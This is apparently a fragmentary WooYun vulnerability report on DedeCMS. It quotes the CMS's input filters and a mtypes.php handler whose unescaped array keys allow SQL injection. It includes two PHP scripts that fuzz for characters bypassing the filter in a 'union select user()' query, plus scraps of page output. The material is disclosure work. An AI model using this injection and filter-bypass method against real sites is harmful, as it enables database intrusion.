WooYun.org

function XSSClean($val) {
    global $cfg_soft_lang;
    if($cfg_soft_lang=='gb2312') gb2utf8($val);
    if (is_array($val))
    {
        while (list($key) = each($val))
        {
            if(in_array($key,array('tags','body','dede_fields','dede_addonfields','dopost','introduce'))) continue;
            $val[$key] = XSSClean($val[$key]);
        }
        return $val;
    }
    $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
    $search = 'abcdefghijklmnopqrstuvwxyz';
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $search .= '1234567890!@#$%^&*()';
    $search .= '~`";:?+/={}[]-_|\'\\';
    for ($i = 0; $i < strlen($search); $i++) {
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
    }
    
    $val = str_replace("`","‘",$val); //对value有过滤 key无
    $val = str_replace("'","‘",$val); //且key无addslashes
    $val = str_replace("\"","“",$val);
    $val = str_replace(",","，",$val);
    $val = str_replace("(","（",$val);
    $val = str_replace(")","）",$val);

elseif ($dopost == 'save')
{
    if(isset($mtypeidarr) && is_array($mtypeidarr))
    {
        $delids = '0';
        $mtypeidarr = array_filter($mtypeidarr, 'is_numeric');
        foreach($mtypeidarr as $delid)
        {
			$delid = HtmlReplace($delid);
            $delids .= ','.$delid;
            unset($mtypename[$delid]);
        }
        $query = "DELETE FROM `#@__mtypes` WHERE mtypeid IN ($delids) AND mid='$cfg_ml->M_ID';";
        $dsql->ExecNoneQuery($query);
    }
    foreach ($mtypename as $id => $name) //把数组的key循环出来
    { 
        $name = HtmlReplace($name);//只对value 进行了addslashes 没有对key addslashes 导致了$id可引入单引号 造成了注入。
        $query = "UPDATE `#@__mtypes` SET mtypename='$name' WHERE mtypeid='$id' AND mid='$cfg_ml->M_ID'";
        $dsql->ExecuteNoneQuery($query);
    }
    ShowMsg('分类修改完成','mtypes.php');
}

foreach($_FILES as $_key=>$_value)
{
    foreach($keyarr as $k)
    {
        if(!isset($_FILES[$_key][$k]))
        {
            exit('Request Error!');
        }
    }
    if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
    {
        exit('Request var not allow for uploadsafe!');
    }
    $$_key = $_FILES[$_key]['tmp_name'];
    ${$_key.'_name'} = $_FILES[$_key]['name'];
    ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
    if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
    {

if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE 
        OR strpos($clean,'$s$$s$')!== FALSE)

<?php 
mysql_connect('localhost','root','');
mysql_query("use dedecmsv");
for ($i=0;$i<256;$i++){
$b=chr($i);
$sql="select uname from dede_member where uname='a' and $b`'` union select user()";
$a=@mysql_fetch_array(mysql_query($sql));
if ($a){
	
echo $i;
echo "</br>";
echo $b;
echo "</br>";
echo urlencode($b);	
	
}
}

<?php 
mysql_connect('localhost','root','');
mysql_query("use dedecmsv");
for ($i=0;$i<256;$i++){
$b=chr($i);
$sql="select uname from dede_member where uname='a' and $b`'`$b union select user()";
$a=@mysql_fetch_array(mysql_query($sql));
if ($a){
	
echo $i;
echo "</br>";
echo $b;
echo "</br>";
echo urlencode($b);	
	
}
}

增加分类成功
如果你的浏览器没反应，请点击这里...

删? 	分类ID 	内容类型 	分类名称
	1 	普通文章 	www

删? 	分类ID 	内容类型 	分类名称
	1 	普通文章 	www

删? 	分类ID 	内容类型 	分类名称
	1 	普通文章 	w